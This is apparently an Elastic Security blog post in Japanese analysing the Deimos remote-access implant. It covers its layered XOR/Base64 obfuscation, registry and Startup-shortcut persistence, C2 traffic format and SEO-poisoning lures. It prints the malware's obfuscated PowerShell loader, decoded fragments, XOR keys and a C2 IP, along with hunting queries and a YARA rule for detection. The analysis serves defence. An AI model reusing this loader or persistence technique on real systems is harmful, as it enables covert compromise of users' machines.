世界的脅威 ― Deimosインプラントのピラミッドを登る

blog-security-radar-720x420.png
この分析が導く主要な結論は、次の通りです。
  • Jupyter Infostealer、SolarMarker、およびYellow Cockatoo攻撃に関する初期の報告の範疇を超えた、攻撃用のリモートアクセスツールが活発に開発されている
  • このマルウェアは複雑な難読化と暗号化テクニックからなる複数のレイヤーを採用している
  • このマルウェアは説得力のあるルアーファイルと、電子署名付きインストール実行プログラムを備えている
  • このマルウェアは、標的となる環境内に最初の足掛かりを確立し、永続性を維持する侵入手段の一部である
  • Elasticセキュリティチームは、観測されたC2インフラを解体することに成功した

2020年に初めて報告されたDeimosインプラントは、新しく複雑なマルウェアの一形態です。実質的には複雑な難読化、および暗号化テクニックで構成された複層レイヤーを用いて検知を回避することを意図したリモートアクセスツールであり、現在も活発な開発が行われています。

Deimosインプラントは防御に対する高度な対抗手段を搭載しているだけでなく、説得力のあるルアーファイルと電子署名付きインストール実行プログラムを内蔵しており、特定や分析のプロセスを欺くことができます。しかし先日、Elasticセキュリティチームは観測されたDeimosインプラントのコマンド&コントロール(C2)インフラを解体することに成功しました。これにより、この強力なインプラントの特定に役立つ検知ルールと、ハンティングテクニックを公開することが可能となりました。

本ブログ記事では、DeimosインプラントのTTP、すなわち戦術、テクニック、プロシージャについて解説します。Elasticは、Deimosが動作する仕組みについて、マルウェアの設計者が防御の目的で難読化に努めてきた情報を明らかにすることで、セキュリティ担当者がElastic Stackを活用してマルウェアと侵入データを収集、分析する取り組みを支援することを目指しています。

概要

Elasticのインテリジェンス&分析チームは、従来Jupyter Infostealerマルウェアの派生形とされていた(またはYellow CockatooおよびSolarMarkerとして追跡されていた)、Deimosの初期アクセスと永続性インプラントについて、新たな系統が出現していることを突き止めました。また別の調査結果発表においても、このインプラントがより完成度の高い難読化テクニックを持つことが示されました。これは、Deimosに関わる活動集団がコードベースを活発に修正して、防御のための対抗手段を回避していることを意味します。

Elasticが捕捉したサンプルは、情報収集ツールとして活用されるものではなく、初期アクセス、永続性、C2機能群を提供するインプラントでした。インプラントは、この特性によってパワフルなものとなっています。リモートアクセスを必要とするあらゆるタスクの遂行に使用できるためです。このような侵入は、標的に対する集中的な攻撃作戦の開始段階、あるいは、アクセス収集に関連しない他の攻撃作戦向けにまとめて売却する計画の一部と考えられます。

本分析は、デイビッド・ビアンコ氏の痛みのピラミッド(Pyramid of Pain)分析モデルを使用して、基本的インディケータ(Atomic Indicator)の値、アーティファクト、ツールマーク、このマルウェアオーサーに対するTTPsを詳述するほか、これらを明らかにすることにより、インプラントを活用する侵入手段に影響を与えることができる仕組みについて説明します。最後に、このインプラントと、類似のアーティファクトやTPPsを共有するその他のインプラントを特定するために活用できるホストベースのハンティングテクニックと、検知ルールを提供します。

本論

2021年8月31日、ElasticはJupyter Infostealerとテクニックを共有するプロセスインジェクションテレメトリを観測しました。この存在については、Morphisec、Binary Defense、ならびにセキュリティリサーチャーのSquibydoo氏も報告していました[1] [2] [3] [4] [5]。Elasticは分析に着手し、以前の調査で観測されたサンプルと比較して、難読化の実装方法が変化していることを特定しました。この変化には複数の要因が関わる可能性があるものの、その1つには、敵が既存の防御機能やマルウェア分析を回避、あるいはすり抜けようとする試みがあります。

注:このマルウェアの以前のバージョンついては詳細な報告書が存在します。したがって本記事では、新たに観測された機能と挙動を重点的に説明します。

Elasticチームはこのマルウェアを動的に分析し、別の報告と類似の振る舞いを観測しました。すなわち、ランタイム生成された変数(実行のたびにユニークな変数となる)、ディレクトリ、XOR暗号、Base64でエンコードされたコマンドの繰り返しを使う難読化です。以下に、このマルウェアオーサーが分析を妨害する目的で採用した、新しい難読化戦術の例を示します。この記事では、このマルウェアの実行を解凍し、内容を詳述します。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;){for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++){$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count){$j=$1e3dadee7a4b45213f674cb23b07d4b0.length}}};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"

図1:マルウェアインストーラーが実行したPowerShell

Elasticチームが観測したサンプルは、%USERPROFILE%ディレクトリの奥深くで複数のサブディレクトリに、Base64でエンコードされ、ネストされたファイルを作成していました。さらに、このPowerShellスクリプト(このサンプルでは$650326ac2b1100c4508b8a700b658ad7)にあるランタイム変数を使用して、このファイルを参照していました。図2に示すように、このエンコードされたファイルは、PowerShellによる読み取り完了後に削除されています。以前に公表された別の調査では、Base64の文字列がPowerShellコマンド内にあり、実行中に見える状態で観測されていました。これは、セキュリティリサーチャーたちが公開した報告書にマルウェアオーサーが反応し、難読化テクニックを改造して使用したことを意味します。

FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7
図2:Base64エンコードファイルは読み取り後、削除されている

この他に、hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBXという値を持つ別の変数(観測サンプルでは$1e3dadee7a4b45213f674cb23b07d4b0)も含まれていました。ElasticチームはこのPowerShellコマンドの難読化を解除し、この値が650326ac2b1100c4508b8a700b658ad7ファイルの値の暗号化を解除するために使用されたXORキーであることを特定しました。この時点で、Base64エンコードファイルの場所を突き止め、暗号化を解除する手段も判明しています。あとは、このファイルの削除を防止する必要があります。

Elasticチームはこのために、Sysmon向けのFileDeleteイベントconfigを使用しました。デフォルトで、このconfigは"C:\Sysmon"に1つのディレクトリを作成し、次にこのフォルダーに削除されたすべてのファイル(ファイルのMD5 + SHA256ハッシュ + 33 0's + 拡張子で名付けられる)を配置します。このディレクトリは、SYSTEMユーザーのみ使用可能です。ElasticチームがPSExecを使用してこのフォルダー(psexec -sid cmd)にアクセスしたところ、問題のファイルには、Base64でエンコードされた1行の文字列が含まれていました。

さきほどPowerShellで確認したように、このコンテンツはXOR暗号で保護されていますが、暗号のカギを入手済みです。Elasticチームはbase64およびxortoolのコマンドラインツールを用いて、ファイルのデコードと暗号化解除に成功しました。

  • base64
    • -D - base64プログラムを使用してデコード
    • -i - デコードされるインプットファイル
    • -o - デコードされたコンテンツを保存するアウトプットファイル
  • xortool-xor
    • -r - XOR暗号キー
    • -f - XORで暗号化されたファイル
    • > - 暗号化を解除されたファイルをアウトプット


base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
  -o 650326ac2b1100c4508b8a700b658ad7.decoded

xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
  -f 650326ac2b1100c4508b8a700b658ad7.decoded \
  > 650326ac2b1100c4508b8a700b658ad7.xor
図3:XOR暗号化され、Base64エンコードされたファイルの暗号化を解除する

実行した結果、XOR暗号化され、Base64エンコードされた1つの変数で始まり、ふたたびPowerShellで終わる、難読化された別のファイルが出力されました。

$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...

...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;

図4:最終的に得られた難読化されたファイル(画像は一部)

そこでElasticチームはさきほどと同じプロセスを再び実行し、XORキー(Base64であるように見せる目的で = 記号を使用していた可能性がある)を特定して、ファイルをデコードしました。

XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=
図5:XOR暗号キー

このプロセスの産物は、1つの.NET DLLファイルでした。この.NET DLLファイルは、永続性に使用するインプラントトラッキングIDと複数のファイルを作成します(このトラッキングIDについては、後述の「分析 - 初期アクセス」セクションで詳述します)。

adab58383614f8be4ed9d27508c2b:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
図6:.NET DLLファイルタイプ

このDLLは「Mars.Deimos」という自称しており、MorphisecとBinary、ならびにセキュリティリサーチャーであるSquibydoo氏による先行研究との相関関係が見られます[1] [2] [3] [4] [5]。Elasticチームが観測した特定のサンプルは、Dotfuscator CE 6.3.0という.NETハードニングツールを使用してマルウェア分析を妨害していました。

とりわけ興味深い発見は、このオーサーたちは検知の難易度を高める努力として一定の時間をマルウェアの修正に費やしていたことです。これは、彼らがマルウェアを保守する試みに、何らかのインセンティブが働いていることを示唆するものであり、分析フェーズに進むにあたって耳寄りな情報です。つまり、金銭的利益のために悪用する集団にとって有用なマルウェアに影響を与え、その企てを頓挫させることができる可能性があります。

分析

本分析で参照されるすべてのインディケーターを、後述の「インディケーター」セクションに記載しています。

痛みのピラミッド(Pyramid of Pain)

分析に入る前に、このプロセスを進めるためにElasticチームが使用したモデルについて説明しましょう。

痛みのピラミッド(Pyramid of Pain)と呼ばれる分析モデルは、2013年にセキュリティリサーチャーのデイビッド・ビアンコ氏によって発表されました。このモデルは、侵入のさまざまな要素が1つの攻撃にもたらす影響を理解する目的で作成されています。下のモデルが示すように、ハッシュ値の特定は役に立ちますが、敵は簡単にハッシュ値を変更できます。対照的に、TTPの変更は敵にとって非常に難易度が高いと言えます。

図7:痛みのピラミッド(Pyramid of Pain)
図7:痛みのピラミッド(Pyramid of Pain)

“痛みのピラミッド”を使用する目的は、侵入についてできる限り理解を深め、防御側が与えることができる影響(つまり“痛み”の大きさ)を予測することです。本記事では終始、説明のメソッドとなる“痛みのピラミッド”に沿って捕捉したサンプルの分析を行い、その潜在的な影響を評価します。

ファイルハッシュ(File Hashes)

新系統のマルウェアサンプルを観測したことを特定した後、Elasticチームはデータセットに検索クエリを適用し、社会的属性に関連性がない一意の組織を10社特定しました。これは、特定された10社が標的ではないと考えられることを意味します。Elasticチームはこの10の組織から、10の異なる初期インストーラーファイルハッシュを観測しました。ドロップされたエンコードファイルも、すべて異なっています。

この情報は役立ちますが、組織を横断する検知メソッドとしてファイルハッシュが役に立たないことは明らかです。

IPアドレス(IP Addresses)

他のリサーチャーの指摘と同様、Elasticチームの観測でも、攻撃に同じIPアドレスが使われていました。このIPアドレスは、2021年8月30日に、悪意のあるファイルと強く関連付けられていました。

IP           216.230.232.134
Anycast      false
City         Houston
Region       Texas
Country      United States (US)
Location     29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal       77052
Timezone     America/Chicago

図8:特定されたIPアドレスに関する情報

このIPアドレスはすでに複数の不正情報共有サイトに報告されており、また複数のセキュリティリサーチャーが銘々に特定していました。Elasticチームは2021年9月21日にこのIPアドレスの削除要請を行いました。要請は正常に受理され、観測対象のC2インフラからすべてのインプラントへのアクセスが削除されました。

この基本的インディケータ(Atomic Indicator)はファイアウォール上でのブロックには有用ではあるものの、敵は容易に別のIPに変更することができます。敵により大きな衝撃を与えるために、さらにピラミッドの上の段階に進んでみましょう。

アーティファクト(Artifacts)

リソース開発(Resource Development)

Elasticチームが分析したルアーファイルサンプルは、スカンジナビアと、スラブ系言語が使われる国々の組織によって定期的に署名されていましたが、外れ値として英語圏およびフランス語圏にあたる国の組織も2つ確認されました。複数のサンプルにおいて、署名は"Spoloènos s Ruèením Obmedzeným"(S.R.O.)として登録されたデジタル証明書によるものでした。S.R.O.とは、スロバキアで外国法人が所有する企業が用いる事業体の呼称です。

Elasticチームが電子署名の所有者として特定したS.R.O.(SRO #1とする)は、2021年7月29日に設立されており、署名は2021年8月26日から観測されていました。さらに、Elasticが突き止めたこのS.R.O.は、別のS.R.O.(SRO #2とする)により所有される子会社でした。

図9:ルアーファイルに電子署名したS.R.O.(SRO #1)と、親会社(SRO #2)
図9:ルアーファイルに電子署名したS.R.O.(SRO #1)と、親会社(SRO #2)

SRO #2は2014年8月19日より事業を行っており、多様なサービスを展開しています。SRO #2の所有者欄には、旧東側諸国にあたる国を居住地とする1名のパートナー(エグゼクティブマネージャー)が記載されています。

図10:SRO #2とSRO #1のエグゼクティブマネージャーは、同一名だった
図10:SRO #2とSRO #1のエグゼクティブマネージャーは、同一名だった

この組織や人物が意図的に関与したるのか、あるいは乗っ取り、つまり意図せず巻き込まれているかは断定できず、本記事では実際の名称等を掲載しません。分析した他のサンプルでは、盗まれた可能性のある証明書の取得プロセスとの整合性が見られます。しかし明らかなこととして、一連の証明書は何らかの手段で調達されており、この責任者(達)は、スロバキアで外国所有企業を登記するという公的手続きや法的要件に精通していると考えられます。

初期アクセス(Initial Access)

Elasticチームは、このティアで最も多くのインディケーターを観測しました。アーティファクトティアのインディケーターであるホストとネットワークはいずれも、防御側にとって貴重な情報です。これは、マルウェアが動作する仕組みについて敵がかなりのリアーキテクトを行わない限り、変更することが困難であるためです。この点は、モジュール的で簡単に変更できる要素である基本的インディケータ(ハッシュ、およびインフラ)と大きく異なります。暗号化キー(後述を参照)などのアーティファクトは大抵、コンパイル前にソースコードにハードコーディングされており、修正には大がかりな作業が必要です。

このドロッパーはネスト化された一連のディレクトリを作成していました。ディレクトリ名には英数字の小文字が使われ、長さは32字です。Elasticチームが観測したすべてのケースで、6階層にネストされたディレクトリが作成され、かつ最終のサブディレクトリ内に同じ命名規則を使用した単体のファイルが見つかりました。このファイルは初期実行の間に読み込まれ、52バイトの静的XORキーにより難読化解除された後、PowerShellスクリプトとして実行されました。このアクティビティを特定したハンティングクエリは、本記事の「検知」(Detection)のセクションに記載されています。

さらに、この.Netアセンブリは%USERPROFILE%\APPDATA\ROAMINGに置かれているすべてのファイルをリスト化して文字列を作成します。これはhwid値として格納され、このマシン固有の識別子です。ファイルが存在しない場合、32のランダムなバイトを生成して、それをカスタムのBase64エンコードでエンコーディングすることにより作成されます。

永続化(Persistence)

実行完了後、このPowerShellスクリプトは%APPDATA%\Microsoft\と命名されたディレクトリに、100以上200未満のランダムな数のファイルを生成するマルウェアの永続性を確立します。\の部分に入るランダムな文字列は、AからZまでの小文字と大文字、および、0から9までの数字だけを含み、長さは10文字以上20文字以下です。このディレクトリは、ステージングディレクトリです。一連のファイルは50,000バイト以上200,000バイト未満をランダムに含みます。ファイルは.と命名されます。ランダム文字列はそれぞれ、ディレクトリ名と同じ命名規則に従います。最後に、このディレクトリに1つの最終ファイルが書き込まれ、そこに難読化された.Net DLLが含まれています。これが実際のDeimosインプラントです。類似の属性を持つこのディレクトリ内のダミーファイル群とよく似ており、念入りに防御の回避を図っていることがわかります。

次の関数スクリプトは2つのレジストリキーを作成します。このキーは先ほど作成されたランダムデータの最初のファイル用のWindowsシェルハンドラーを提供します。このハンドラーはそのファイルのファイル拡張子を使用し、実行リクエストをPowerShellコマンドの実行に関連付けます。2つのレジストリキーはHKEY_CURRENT_USER\Software\Classes\\に作成されます。この\\に入るランダム文字列も上述の命名規則に従いますが、小文字が使用されない点が異なります。1つ目のキーはさらに\Shell\Open\Commandのサブキーを持ち、ここにローダーPowerShellスクリプトが含まれます。この文字列の値には、大文字と小文字が混ざっており、さらに検索の難易度を高めています。たとえばElasticチームが分析したサンプルでは、PowErShELlでした。2つ目のキーは事実上、上述の最初にランダムに生成されたファイルのファイル拡張子に一致するエイリアスです。この値は、1つめのキーのパスに使われたランダムな文字列の小文字の値に一致します。

最後の永続性アーティファクトは、ユーザーのスタートアップ(StartUp)ディレクトリに置かれた.LNkファイルです。このサンプルではハードコードであり、a44f066dfa44db9fba953a982d48b.LNkと名付けられています。上述のランダム生成された最初のファイルを起動するためのショートカットが設定されており、このショートカットは最小化された1つのウインドウを開きます。ユーザーがログインすると、このリンクファイルがWindowsにファイルを起動するよう命じますが、このファイルは実行プログラムではありません。先ほどの2つのレジストリキーは、1つ目のキー中に設定されたPowerShellコマンドを起動するようWindowsに指示し、ファイルを実行します。このPowerShellコマンドは、難読化された.Net DLLへの完全なパスと、難読化解除のためのXORキーを含みます。最後に、クラスメソッド[Mars.Deimos]::interact()を呼び出すことにより、この.Net DLLアセンブリがPowerShellによって実行されます。この永続性アーキテクチャーは文章ではわかりにくいため、ここではスクリーンショット画像を使って永続性のメカニズムを示します。

図11:永続性メカニズムのフロー
図11:永続性メカニズムのフロー

コマンド&コントロールフェーズ(Command and Control Phase)

このマルウェアは、保有する権限のレベルであらゆるアクションを実行できる汎用のインプラントを提供します。つまり、Windows PEファイルやPowerShellスクリプト、.Net DLLアセンブリを受信して実行することも、任意のPowerShellコマンドを走らせることもできます。

いくつかコマンド固有のペイロードカプセル化の配列がありますが、いずれもC2サーバーに対するWebリクエストを実行する目的で、一般的なメソッドにパスされます。このWebリクエストはHTTP POSTメソッドを使用し、通信の確立に際し10分間のタイムアウトを設定します。

この.Net WebRequestプロバイダーがポピュレートしたデフォルトのヘッダー以外に、付加的なヘッダーは設定されていません。デフォルトのヘッダーは、HostContent-LengthConnection: Keep-Aliveです。

POST / HTTP/1.1
Host:216.230.232.134
Content-Length:677
Connection:Keep-Alive

図12:C2 HTTPヘッダー

図13は、クライアントのPOSTリクエストの本文を16進ダンプで表示したものです。

図13:C2 HTTP本文
図13:C2 HTTP本文

最初の白く示された部分は、ネットワーク通信のパターンを難読化するためにランダムに生成され、本文の前に追加されたバイトです。0以上512以下のバイトとなります。次の緑にハイライトされた部分はnullバイトで、ランダムデータの終了を示します。その次、青で示された部分は、サーバーからの最後の通信で送信された“cookie”値です。各通信は一意的であることから、キャプチャしたサーバーへのパケットの再現を回避するためと考えられます。この値を10バイトにしなければならない特段の要件は存在しませんが、Elasticチームが観測したすべてのトラフィックでこのようになっていました。最初のチェックインの場合、この値は表示されません。最後に、赤で示された残りのバイトが、暗号化された本文です。最初のチェックインでは、この部分はRSA暗号化され、厳密に256バイトとなります。そこに、インプラント用に次の通信に使用されるキーと、一意のハードウェアIDが含まれています。次回以降の通信で、クライアントは暗号化にAES-128 CBCモードを使用します。この部分の長さは、AES暗号化を使用するために常に16バイトの倍数になります。

最初のハンドシェイクに使用されるRSA公開鍵は、各攻撃につき一意です。図24に示すように、ElasticチームはYARAルールを使用して、このインプラントのサンプルを合計65個発見しました。このRSAキーは、米国からモルドバまで広範に分布している攻撃を一意的に識別するポイントとなります。サンプル中、情報窃盗の機能を有していたものの割合はたった12.5%であり、この点はJupyter Infostealerの観測結果と類似しています。あとのDeimosインプラントのサンプルには、付加的な情報窃盗機能が存在しませんでした。これは、Deimosインプラントが完全な機能性によって人気を博しており、あらゆる攻撃の初期アクセスと永続性に使われていると解釈することができます。

メインループ(Main Loop)

チェックインプロセスが完了すると、続いてメインプロセスループが開始されます。このインプラントのメインループ中のデフォルトアクションは、pingアクションです。pingは環境に関する情報(Windowsのバージョン、CPUアーキテクチャー、ユーザーによる管理者権限の設定があるかどうか、インプラントのバージョン文字列を含む)を送信します。

インプラントにタスクがスケジュールされている場合、このpingコマンドに対するレスポンスは、"file"または"command"のいずれかに設定されたステータス値を含みます。タスクが与えられていない場合、インプラントは20秒スリープし、さらに0 - 20秒のランダムな時間待機します。すべてのタスクの間にこの待機時間が挿入されます。

"file"タスクの場合、インプラントはタスク定義のtask_id属性を使用して別のリクエストをすぐに実行し、ファイルを取得します。インプラントは1つの"exe"ファイル、"ps1"ファイル、または"module"を要求します。これはいずれも.Net Assemblyファイルです。

"exe"がダウンロードされると、%TEMP%\.exe内のファイルに書き込まれます。このRANDOM_NAMEには、24字の英数字(すべて大文字)の値が入ります。このファイルの実行によってすぐに新しいプロセスが立ち上がり、そのステータス報告が次のタスク間隔に行われます。

"ps1"ファイルがダウンロードされると、そのスクリプトのコンテンツがStandard Inputを使って新しいPowerShellプロセスにパスされます。

最後に"module"ファイルが"plugin manager"に追加され、"Run"メソッドを実行します。

"command"タスクに対して、追加のリクエストは必要ありません。レスポンスの"command"バリューに含まれるPowerShellコードは、"ps1"ファイルタイプと同様に実行されます。

おそらく脅威のアクターは、スクリプトの早さ、あるいは相互作用的な操作に関する違いから、"command"タイプを使用しています。よりサイズの大きいスクリプトには、"file"タイプが使われると考えられます。

ツール(Tools)

観測されたすべてのサンプルのメタデータを検証した結果、Elasticチームはサンプルがすべて単一のPDFソフトウェアプラットフォームを使用して作成されたという信頼度の高い関連性を見出しました。

Comments                        :This installation was built with Inno Setup.
Company Name                    :
File Description                :SlimReader Setup
File Version                    :
Legal Copyright                 : (c) InvestTech
Original File Name              :
Product Name                    :SlimReader
Product Version                 :1.4.1.2
図14:マルウェアルアーファイルのメタデータ

このソフトウェア自体は正規のものと考えられますが、頻繁にルアーファイルの作成に利用されています。Elasticチームが観測した53のマルウェア、またはマルウェア近似種のサンプルは、SlimReaderツールを使って作成されていました。補足情報として、eSentireの調査チームの発表によれば、SlimReaderは数十万ものルアーファイルの作成に利用されていることが特定されています。

TTPs

ピラミッドの最上部では、Elasticが捕捉したサンプルに含まれる特徴と、複数のセキュリティリサーチャーにより先行報告が行われていた特徴を観測します。観測されたすべてのケースで、マルウェアはGoogle Sneaky RedirectsおよびSearch Engine Optimization(SEO)ポイズニングとして知られるテクニックを使用し、ユーザーを欺いてマルウェアをインストールさせていました。

SEOポイズニングは、ドキュメントにSEOキーワードを埋め込み、検索エンジンでの表示順位を上昇させるテクニックです。このテクニックによって悪意のあるドキュメントやWebサイトがWeb検索結果の上位に表示されます。またGoogle Sneaky Redirectsは、初期マルウェアインストーラーをGoogle検索にちなんで名づけるテクニックとして使われ、ユーザーをだまし、ユーザーがダウンロードしたファイルをクリックさせる手段となります。たとえばあるユーザーが「free resume template」(無料 履歴書 テンプレート)と検索します。次にユーザーがテンプレートを公開しているように見えるWebサイトをクリックすると、実際にはそれが悪意のあるWebサイトであり、free-resume-template.exeのような名前でマルウェアインストーラーを表示します。このマルウェアはPDFアイコンで表示されますが、実際には実行プログラム(.exe)です。騙されたユーザーがPEファイルを実行すると、PowerShellプロセスが開始されます。次の画像は、このプロセスをElastic Analyzerビューでハイライト表示したものです。

図15:難読化されたPowerShellプロセスを実行するマルウェア
図15:難読化されたPowerShellプロセスを実行するマルウェア

痛みのピラミッドが定める様々な要素を適用してこのマルウェアのプロセスと相互作用を理解することが、攻撃者グループと侵入手段に長期的な制裁を下すために最も重要です。

インパクト(Impact)

上述の侵入手段は、MITRE ATT&CK®フレームワーク分類が定める複数の戦術とテクニックを活用しています。その他のTTPsも存在する可能性がありますが、Elasticの分析では観測されていません。

戦術(Tactics)

テクニック/サブテクニック(Techniques / Sub Techniques)

検知

Elasticはこのアクティビティを包括的に特定する既存の検知ルールを提供しているほか、これらのテクニックの検知を目的とする2つの追加のルールをリリースしました。また、類似のテクニックを用いた他の侵入手段を特定する複数のハンティングクエリも追加しています。

検知のロジック

Elasticは、Elastic StackとElastic Endgameを使った検知ロジックのレポジトリを公開、および保守しています。

新登場の検知ルール

Suspicious Registry Modifications

Abnormal File Extension in User AppData Roaming Path

ハンティングクエリ

一連のハンティングクエリを使用するには、Kibanaで[セキュリティ]→[タイムライン]→[新しいタイムライン]→[相関付けクエリエディター]に進みます。このクエリ群は上記の侵入手段を特定するだけなく、完了した調査において悪意ある別のアクティビティに発展しうることが判明した、上記以外の注目のイベントも特定することができます。

このクエリは、難読化されたインストーラーを含む初期ドロップ済みファイルを特定します。

file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""
図16:初期インストーラーを特定するハンティングクエリ
図17:タイムラインで、ハンティングクエリが初期インストーラーを特定する様子
図17:タイムラインで、ハンティングクエリが初期インストーラーを特定する様子

このクエリは、インプラントの初回実行時に作成された、一意の“ハードウェアID”ファイル(hwid)を特定します。このIDファイルは、インストールを一意的に特定するために使用されます。

file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""
図18:ハードウェアIDを特定するハンティングクエリ
図19:タイムラインで、ハンティングクエリがハードウェアIDを特定する様子
図19:タイムラインで、ハンティングクエリがハードウェアIDを特定する様子

このクエリは、AppData\Roamingパスに10字以上のファイル拡張子を持つすべてのファイルを特定します。

file where file.path : "*\\appdata\\roaming\\*" and 
length(file.extension) >= 10 and 
process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")
図20:10字以上のファイル拡張子を特定するハンティングクエリ
図21:タイムラインで、ハンティングクエリが10字以上のファイル拡張子を特定する様子
図21:タイムラインで、ハンティングクエリが10字以上のファイル拡張子を特定する様子

このクエリはレジストリ内で、"powershell"という単語を含む、長い文字列値を特定します。

registry where  registry.data.strings : "*powershell*" and length(registry.data.strings) >= 100
図22:長いレジストリ文字列を特定するハンティングクエリ
図23:タイムラインで、ハンティングクエリが長いレジストリ文字列を特定する様子
図23:タイムラインで、ハンティングクエリが長いレジストリ文字列を特定する様子

YARAルール

Elasticは、この記事で取り上げたDeimos trojan DLLファイルの存在を特定するYARAルールを作成しました。

rule Windows_Trojan_Deimos_DLL {
    meta:
        author = "Elastic Security"
        creation_date = "2021-09-18"
        last_modified = "2021-09-18"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Deimos"
        threat_name = "Windows.Trojan.Deimos"
        description = "Detects the presence of the Deimos trojan DLL file."
        reference = ""
        reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"

    strings:
        $a1 = "\\APPDATA\\ROAMING" wide fullword
        $a2 = "{\"action\":\"ping\",\"" wide fullword
        $a3 = "Deimos" ascii fullword
        $b1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 }
        $b2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D }
    condition:
        all of ($a*) or 1 of ($b*)
}

図24:Deimos DLL YARAルール

このYARAルールには、こちらからアクセスできます。

防御のための推奨アクション

以下に挙げるステップは、ネットワーク保護の体制を強化する目的で活用することができます。


  1. 上述の検知ロジックを確認し、SysmonやElastic Endpoint、あるいはWinlogbeatなどのテクノロジーを使って組織の環境に実装する。
  2. 最新のMicrosoftセキュリティ更新プログラムを確実にデプロイする。
  3. クリティカルなシステムのバックアップを保守し、迅速な復元の補助とする。

参照資料

本記事の全体を通じて、参照した調査研究は次の通りです。


インディケーター

インディケータータイプ注釈
f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421SHA256ハッシュルアーファイル
af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21fSHA256ハッシュマルウェアインストーラー
d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54SHA256ハッシュ.NET DLLファイル
216[.]230[.]232[.]134IPアドレスコマンド&コントロール
  • 積極採用中

    グローバルな分散型チームに参加しませんか?ElasticはZoomミーティングでも採用を行っています。フレキシブルな働き方でインパクトのある仕事をしたい方や、フレッシュなチャンスを求めている方、ぜひElasticの求人情報をご検討ください。